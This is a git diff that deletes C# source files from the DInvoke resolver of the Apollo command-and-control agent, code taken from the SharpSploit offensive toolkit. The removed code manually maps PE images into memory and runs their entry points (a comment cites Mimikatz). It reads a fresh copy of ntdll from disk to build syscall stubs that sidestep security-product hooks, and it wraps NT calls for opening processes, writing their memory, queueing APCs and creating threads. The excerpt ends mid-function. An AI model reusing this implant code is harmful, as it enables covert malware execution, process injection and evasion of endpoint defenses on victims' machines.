(Data.PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(Data.PE.IMAGE_OPTIONAL_HEADER64)); - } - else - { - throw new InvalidOperationException("Invalid magic value (PE32/PE32+)."); - } - // Read sections - Data.PE.IMAGE_SECTION_HEADER[] SectionArray = new Data.PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections]; - for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++) - { - IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28)); - SectionArray[i] = (Data.PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(Data.PE.IMAGE_SECTION_HEADER)); - } - PeMetaData.Sections = SectionArray; - } - catch - { - throw new InvalidOperationException("Invalid module base specified."); - } - return PeMetaData; - } - - /// - /// Resolve host DLL for API Set DLL. - /// - /// Ruben Boonen (@FuzzySec), The Wover (@TheRealWover) - /// Dictionary, a combination of Key:APISetDLL and Val:HostDLL. - public static Dictionary GetApiSetMapping() - { - Data.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); - UInt32 ApiSetMapOffset = IntPtr.Size == 4 ? (UInt32)0x38 : 0x68; - - // Create mapping dictionary - Dictionary ApiSetDict = new Dictionary(); - - IntPtr pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + ApiSetMapOffset)); - Data.PE.ApiSetNamespace Namespace = (Data.PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(Data.PE.ApiSetNamespace)); - for (var i = 0; i < Namespace.Count; i++) - { - Data.PE.ApiSetNamespaceEntry SetEntry = new Data.PE.ApiSetNamespaceEntry(); - - IntPtr pSetEntry = (IntPtr)((UInt64)pApiSetNamespace + (UInt64)Namespace.EntryOffset + (UInt64)(i * Marshal.SizeOf(SetEntry))); - SetEntry = (Data.PE.ApiSetNamespaceEntry)Marshal.PtrToStructure(pSetEntry, typeof(Data.PE.ApiSetNamespaceEntry)); - - string ApiSetEntryName = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.NameOffset), SetEntry.NameLength / 2); - string ApiSetEntryKey = ApiSetEntryName.Substring(0, ApiSetEntryName.Length - 2) + ".dll"; // Remove the patch number and add .dll - - Data.PE.ApiSetValueEntry SetValue = new Data.PE.ApiSetValueEntry(); - - IntPtr pSetValue = IntPtr.Zero; - - // If there is only one host, then use it - if (SetEntry.ValueLength == 1) - pSetValue = (IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset); - else if (SetEntry.ValueLength > 1) - { - // Loop through the hosts until we find one that is different from the key, if available - for (var j = 0; j < SetEntry.ValueLength; j++) - { - IntPtr host = (IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset + (UInt64)Marshal.SizeOf(SetValue) * (UInt64)j); - if (Marshal.PtrToStringUni(host) != ApiSetEntryName) - pSetValue = (IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset + (UInt64)Marshal.SizeOf(SetValue) * (UInt64)j); - } - // If there is not one different from the key, then just use the key and hope that works - if (pSetValue == IntPtr.Zero) - pSetValue = (IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset); - } - - //Get the host DLL's name from the entry - SetValue = (Data.PE.ApiSetValueEntry)Marshal.PtrToStructure(pSetValue, typeof(Data.PE.ApiSetValueEntry)); - string ApiSetValue = string.Empty; - if (SetValue.ValueCount != 0) - { - IntPtr pValue = (IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetValue.ValueOffset); - ApiSetValue = Marshal.PtrToStringUni(pValue, SetValue.ValueCount / 2); - } - - // Add pair to dict - ApiSetDict.Add(ApiSetEntryKey, ApiSetValue); - } - - // Return dict - return ApiSetDict; - } - - /// - /// Call a manually mapped PE by its EntryPoint. - /// - /// Ruben Boonen (@FuzzySec) - /// Module meta data struct (PE.PE_META_DATA). - /// Base address of the module in memory. - /// void - public static void CallMappedPEModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) - { - // Call module by EntryPoint (eg Mimikatz.exe) - IntPtr hRemoteThread = IntPtr.Zero; - IntPtr lpStartAddress = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) : - (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint); - - Native.NtCreateThreadEx( - ref hRemoteThread, - Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, - IntPtr.Zero, (IntPtr)(-1), - lpStartAddress, IntPtr.Zero, - false, 0, 0, 0, IntPtr.Zero - ); - } - - /// - /// Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH. - /// - /// Ruben Boonen (@FuzzySec), TheWover (@TheRealWover) - /// Module meta data struct (PE.PE_META_DATA). - /// Base address of the module in memory. - /// void - public static void CallMappedDLLModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) - { - IntPtr lpEntryPoint = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) : - (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint); - // If there is an entry point, call it - if (lpEntryPoint != ModuleMemoryBase) - { - Data.PE.DllMain fDllMain = (Data.PE.DllMain)Marshal.GetDelegateForFunctionPointer(lpEntryPoint, typeof(Data.PE.DllMain)); - try - { - bool CallRes = fDllMain(ModuleMemoryBase, Data.PE.DLL_PROCESS_ATTACH, IntPtr.Zero); - if (!CallRes) - { - throw new InvalidOperationException("Call to entry point failed -> DLL_PROCESS_ATTACH"); - } - } - catch - { - throw new InvalidOperationException("Invalid entry point -> DLL_PROCESS_ATTACH"); - } - } - } - - /// - /// Call a manually mapped DLL by Export. - /// - /// Ruben Boonen (@FuzzySec) - /// Module meta data struct (PE.PE_META_DATA). - /// Base address of the module in memory. - /// The name of the export to search for (e.g. "NtAlertResumeThread"). - /// Prototype for the function, represented as a Delegate object. - /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. - /// Specify whether to invoke the module's entry point. - /// void - public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string ExportName, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true) - { - // Call entry point if user has specified - if (CallEntry) - { - CallMappedDLLModule(PEINFO, ModuleMemoryBase); - } - - // Get export pointer - IntPtr pFunc = GetExportAddress(ModuleMemoryBase, ExportName); - - // Call export - return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters); - } - - /// - /// Call a manually mapped DLL by Export. - /// - /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) - /// Module meta data struct (PE.PE_META_DATA). - /// Base address of the module in memory. - /// The number of the ordinal to search for (e.g. 0x07). - /// Prototype for the function, represented as a Delegate object. - /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. - /// Specify whether to invoke the module's entry point. - /// void - public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, short Ordinal, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true) - { - // Call entry point if user has specified - if (CallEntry) - { - CallMappedDLLModule(PEINFO, ModuleMemoryBase); - } - - // Get export pointer - IntPtr pFunc = GetExportAddress(ModuleMemoryBase, Ordinal); - - // Call export - return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters); - } - - /// - /// Call a manually mapped DLL by Export. - /// - /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) - /// Module meta data struct (PE.PE_META_DATA). - /// Base address of the module in memory. - /// Hash of the exported procedure. - /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). - /// Prototype for the function, represented as a Delegate object. - /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. - /// Specify whether to invoke the module's entry point. - /// void - public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string FunctionHash, long Key, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true) - { - // Call entry point if user has specified - if (CallEntry) - { - CallMappedDLLModule(PEINFO, ModuleMemoryBase); - } - - // Get export pointer - IntPtr pFunc = GetExportAddress(ModuleMemoryBase, FunctionHash, Key); - - // Call export - return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters); - } - - /// - /// Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll. - /// - /// Ruben Boonen (@FuzzySec) - /// The name of the function to search for (e.g. "NtAlertResumeThread"). - /// IntPtr, Syscall stub - public static IntPtr GetSyscallStub(string FunctionName) - { - // Verify process & architecture - bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); - if (IntPtr.Size == 4 && isWOW64) - { - throw new InvalidOperationException("Generating Syscall stubs is not supported for WOW64."); - } - - // Find the path for ntdll by looking at the currently loaded module - string NtdllPath = string.Empty; - ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; - foreach (ProcessModule Mod in ProcModules) - { - if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) - { - NtdllPath = Mod.FileName; - } - } - - // Alloc module into memory for parsing - IntPtr pModule = ManualMap.Map.AllocateFileToMemory(NtdllPath); - - // Fetch PE meta data - Data.PE.PE_META_DATA PEINFO = GetPeMetaData(pModule); - - // Alloc PE image memory -> RW - IntPtr BaseAddress = IntPtr.Zero; - IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; - UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders; - - IntPtr pImage = Native.NtAllocateVirtualMemory( - (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, - Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, - Data.Win32.WinNT.PAGE_READWRITE - ); - - // Write PE header to memory - UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders); - - // Write sections to memory - foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections) - { - // Calculate offsets - IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress); - IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData); - - // Write data - BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData); - if (BytesWritten != ish.SizeOfRawData) - { - throw new InvalidOperationException("Failed to write to memory."); - } - } - - // Get Ptr to function - IntPtr pFunc = GetExportAddress(pImage, FunctionName); - if (pFunc == IntPtr.Zero) - { - throw new InvalidOperationException("Failed to resolve ntdll export."); - } - - // Alloc memory for call stub - BaseAddress = IntPtr.Zero; - RegionSize = (IntPtr)0x50; - IntPtr pCallStub = Native.NtAllocateVirtualMemory( - (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, - Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, - Data.Win32.WinNT.PAGE_READWRITE - ); - - // Write call stub - BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50); - if (BytesWritten != 0x50) - { - throw new InvalidOperationException("Failed to write to memory."); - } - - // Change call stub permissions - Native.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, Data.Win32.WinNT.PAGE_EXECUTE_READ); - - // Free temporary allocations - Marshal.FreeHGlobal(pModule); - RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; - - Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Data.Win32.Kernel32.MEM_RELEASE); - - return pCallStub; - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/DynamicInvoke/Native.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/DynamicInvoke/Native.cs deleted file mode 100644 index f84a9463..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/DynamicInvoke/Native.cs +++ /dev/null @@ -1,788 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Runtime.InteropServices; - -namespace DInvokeResolver.DInvoke.DynamicInvoke -{ - /// - /// Contains function prototypes and wrapper functions for dynamically invoking NT API Calls. - /// - /// - /// Contains function prototypes and wrapper functions for dynamically invoking NT API Calls. - /// - public class Native - { - public static Data.Native.NTSTATUS NtCreateThreadEx( - ref IntPtr threadHandle, - Data.Win32.WinNT.ACCESS_MASK desiredAccess, - IntPtr objectAttributes, - IntPtr processHandle, - IntPtr startAddress, - IntPtr parameter, - bool createSuspended, - int stackZeroBits, - int sizeOfStack, - int maximumStackSize, - IntPtr attributeList) - { - // Craft an array for the arguments - object[] funcargs = - { - threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits, - sizeOfStack, maximumStackSize, attributeList - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx", - typeof(DELEGATES.NtCreateThreadEx), ref funcargs); - - // Update the modified variables - threadHandle = (IntPtr)funcargs[0]; - - return retValue; - } - - public static Data.Native.NTSTATUS RtlCreateUserThread( - IntPtr Process, - IntPtr ThreadSecurityDescriptor, - bool CreateSuspended, - IntPtr ZeroBits, - IntPtr MaximumStackSize, - IntPtr CommittedStackSize, - IntPtr StartAddress, - IntPtr Parameter, - ref IntPtr Thread, - IntPtr ClientId) - { - // Craft an array for the arguments - object[] funcargs = - { - Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits, - MaximumStackSize, CommittedStackSize, StartAddress, Parameter, - Thread, ClientId - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlCreateUserThread", - typeof(DELEGATES.RtlCreateUserThread), ref funcargs); - - // Update the modified variables - Thread = (IntPtr)funcargs[8]; - - return retValue; - } - - public static Data.Native.NTSTATUS NtCreateSection( - ref IntPtr SectionHandle, - uint DesiredAccess, - IntPtr ObjectAttributes, - ref ulong MaximumSize, - uint SectionPageProtection, - uint AllocationAttributes, - IntPtr FileHandle) - { - - // Craft an array for the arguments - object[] funcargs = - { - SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new InvalidOperationException("Unable to create section, " + retValue); - } - - // Update the modified variables - SectionHandle = (IntPtr)funcargs[0]; - MaximumSize = (ulong)funcargs[3]; - - return retValue; - } - - public static Data.Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr) - { - // Craft an array for the arguments - object[] funcargs = - { - hProc, baseAddr - }; - - Data.Native.NTSTATUS result = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection", - typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs); - - return result; - } - - public static Data.Native.NTSTATUS NtMapViewOfSection( - IntPtr SectionHandle, - IntPtr ProcessHandle, - ref IntPtr BaseAddress, - IntPtr ZeroBits, - IntPtr CommitSize, - IntPtr SectionOffset, - ref ulong ViewSize, - uint InheritDisposition, - uint AllocationType, - uint Win32Protect) - { - - // Craft an array for the arguments - object[] funcargs = - { - SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, - Win32Protect - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success && retValue != Data.Native.NTSTATUS.ImageNotAtBase) - { - throw new InvalidOperationException("Unable to map view of section, " + retValue); - } - - // Update the modified variables. - BaseAddress = (IntPtr)funcargs[2]; - ViewSize = (ulong)funcargs[6]; - - return retValue; - } - - public static void RtlInitUnicodeString(ref Data.Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) - { - // Craft an array for the arguments - object[] funcargs = - { - DestinationString, SourceString - }; - - Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); - - // Update the modified variables - DestinationString = (Data.Native.UNICODE_STRING)funcargs[0]; - } - - public static Data.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Data.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) - { - // Craft an array for the arguments - object[] funcargs = - { - PathToFile, dwFlags, ModuleFileName, ModuleHandle - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs); - - // Update the modified variables - ModuleHandle = (IntPtr)funcargs[3]; - - return retValue; - } - - public static void RtlZeroMemory(IntPtr Destination, int Length) - { - // Craft an array for the arguments - object[] funcargs = - { - Destination, Length - }; - - Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlZeroMemory", typeof(DELEGATES.RtlZeroMemory), ref funcargs); - } - - public static Data.Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Data.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo) - { - int processInformationLength; - UInt32 RetLen = 0; - - switch (processInfoClass) - { - case Data.Native.PROCESSINFOCLASS.ProcessWow64Information: - pProcInfo = Marshal.AllocHGlobal(IntPtr.Size); - RtlZeroMemory(pProcInfo, IntPtr.Size); - processInformationLength = IntPtr.Size; - break; - case Data.Native.PROCESSINFOCLASS.ProcessBasicInformation: - Data.Native.PROCESS_BASIC_INFORMATION PBI = new Data.Native.PROCESS_BASIC_INFORMATION(); - pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI)); - RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI)); - Marshal.StructureToPtr(PBI, pProcInfo, true); - processInformationLength = Marshal.SizeOf(PBI); - break; - default: - throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}"); - } - - object[] funcargs = - { - hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new UnauthorizedAccessException("Access is denied."); - } - - // Update the modified variables - pProcInfo = (IntPtr)funcargs[2]; - - return retValue; - } - - public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess) - { - Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new UnauthorizedAccessException("Access is denied."); - } - - if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero) - { - return false; - } - return true; - } - - public static Data.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess) - { - Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new UnauthorizedAccessException("Access is denied."); - } - - return (Data.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Data.Native.PROCESS_BASIC_INFORMATION)); - } - - public static IntPtr NtOpenProcess(UInt32 ProcessId, Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess) - { - // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's - IntPtr ProcessHandle = IntPtr.Zero; - Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES(); - Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID(); - ci.UniqueProcess = (IntPtr)ProcessId; - - // Craft an array for the arguments - object[] funcargs = - { - ProcessHandle, DesiredAccess, oa, ci - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenProcess", typeof(DELEGATES.NtOpenProcess), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success && retValue == Data.Native.NTSTATUS.InvalidCid) - { - throw new InvalidOperationException("An invalid client ID was specified."); - } - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new UnauthorizedAccessException("Access is denied."); - } - - // Update the modified variables - ProcessHandle = (IntPtr)funcargs[0]; - - return ProcessHandle; - } - - public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3) - { - // Craft an array for the arguments - object[] funcargs = - { - ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3 - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new InvalidOperationException("Unable to queue APC, " + retValue); - } - } - - public static IntPtr NtOpenThread(int TID, Data.Win32.Kernel32.ThreadAccess DesiredAccess) - { - // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's - IntPtr ThreadHandle = IntPtr.Zero; - Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES(); - Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID(); - ci.UniqueThread = (IntPtr)TID; - - // Craft an array for the arguments - object[] funcargs = - { - ThreadHandle, DesiredAccess, oa, ci - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenThread", typeof(DELEGATES.NtOpenProcess), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success && retValue == Data.Native.NTSTATUS.InvalidCid) - { - throw new InvalidOperationException("An invalid client ID was specified."); - } - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new UnauthorizedAccessException("Access is denied."); - } - - // Update the modified variables - ThreadHandle = (IntPtr)funcargs[0]; - - return ThreadHandle; - } - - public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) - { - // Craft an array for the arguments - object[] funcargs = - { - ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs); - if (retValue == Data.Native.NTSTATUS.AccessDenied) - { - // STATUS_ACCESS_DENIED - throw new UnauthorizedAccessException("Access is denied."); - } - if (retValue == Data.Native.NTSTATUS.AlreadyCommitted) - { - // STATUS_ALREADY_COMMITTED - throw new InvalidOperationException("The specified address range is already committed."); - } - if (retValue == Data.Native.NTSTATUS.CommitmentLimit) - { - // STATUS_COMMITMENT_LIMIT - throw new InvalidOperationException("Your system is low on virtual memory."); - } - if (retValue == Data.Native.NTSTATUS.ConflictingAddresses) - { - // STATUS_CONFLICTING_ADDRESSES - throw new InvalidOperationException("The specified address range conflicts with the address space."); - } - if (retValue == Data.Native.NTSTATUS.InsufficientResources) - { - // STATUS_INSUFFICIENT_RESOURCES - throw new InvalidOperationException("Insufficient system resources exist to complete the API call."); - } - if (retValue == Data.Native.NTSTATUS.InvalidHandle) - { - // STATUS_INVALID_HANDLE - throw new InvalidOperationException("An invalid HANDLE was specified."); - } - if (retValue == Data.Native.NTSTATUS.InvalidPageProtection) - { - // STATUS_INVALID_PAGE_PROTECTION - throw new InvalidOperationException("The specified page protection was not valid."); - } - if (retValue == Data.Native.NTSTATUS.NoMemory) - { - // STATUS_NO_MEMORY - throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation."); - } - if (retValue == Data.Native.NTSTATUS.ObjectTypeMismatch) - { - // STATUS_OBJECT_TYPE_MISMATCH - throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."); - } - if (retValue != Data.Native.NTSTATUS.Success) - { - // STATUS_PROCESS_IS_TERMINATING == 0xC000010A - throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process."); - } - - BaseAddress = (IntPtr)funcargs[1]; - return BaseAddress; - } - - public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 FreeType) - { - // Craft an array for the arguments - object[] funcargs = - { - ProcessHandle, BaseAddress, RegionSize, FreeType - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs); - if (retValue == Data.Native.NTSTATUS.AccessDenied) - { - // STATUS_ACCESS_DENIED - throw new UnauthorizedAccessException("Access is denied."); - } - if (retValue == Data.Native.NTSTATUS.InvalidHandle) - { - // STATUS_INVALID_HANDLE - throw new InvalidOperationException("An invalid HANDLE was specified."); - } - if (retValue != Data.Native.NTSTATUS.Success) - { - // STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024 - throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."); - } - } - - public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem) - { - // Alloc buffer for result struct - IntPtr pBase = IntPtr.Zero; - IntPtr RegionSize = (IntPtr)0x500; - IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, Data.Win32.WinNT.PAGE_READWRITE); - - // Prepare NtQueryVirtualMemory parameters - Data.Native.MEMORYINFOCLASS memoryInfoClass = Data.Native.MEMORYINFOCLASS.MemorySectionName; - UInt32 MemoryInformationLength = 0x500; - UInt32 Retlen = 0; - - // Craft an array for the arguments - object[] funcargs = - { - hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryVirtualMemory", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs); - - string FilePath = string.Empty; - if (retValue == Data.Native.NTSTATUS.Success) - { - Data.Native.UNICODE_STRING sn = (Data.Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Data.Native.UNICODE_STRING)); - FilePath = Marshal.PtrToStringUni(sn.Buffer); - } - - // Free allocation - NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Data.Win32.Kernel32.MEM_RELEASE); - if (retValue == Data.Native.NTSTATUS.AccessDenied) - { - // STATUS_ACCESS_DENIED - throw new UnauthorizedAccessException("Access is denied."); - } - if (retValue == Data.Native.NTSTATUS.AccessViolation) - { - // STATUS_ACCESS_VIOLATION - throw new InvalidOperationException("The specified base address is an invalid virtual address."); - } - if (retValue == Data.Native.NTSTATUS.InfoLengthMismatch) - { - // STATUS_INFO_LENGTH_MISMATCH - throw new InvalidOperationException("The MemoryInformation buffer is larger than MemoryInformationLength."); - } - if (retValue == Data.Native.NTSTATUS.InvalidParameter) - { - // STATUS_INVALID_PARAMETER - throw new InvalidOperationException("The specified base address is outside the range of accessible addresses."); - } - return FilePath; - } - - public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect) - { - // Craft an array for the arguments - UInt32 OldProtect = 0; - object[] funcargs = - { - ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new InvalidOperationException("Failed to change memory protection, " + retValue); - } - - OldProtect = (UInt32)funcargs[4]; - return OldProtect; - } - - public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength) - { - // Craft an array for the arguments - UInt32 BytesWritten = 0; - object[] funcargs = - { - ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten - }; - - Data.Native.NTSTATUS retValue = 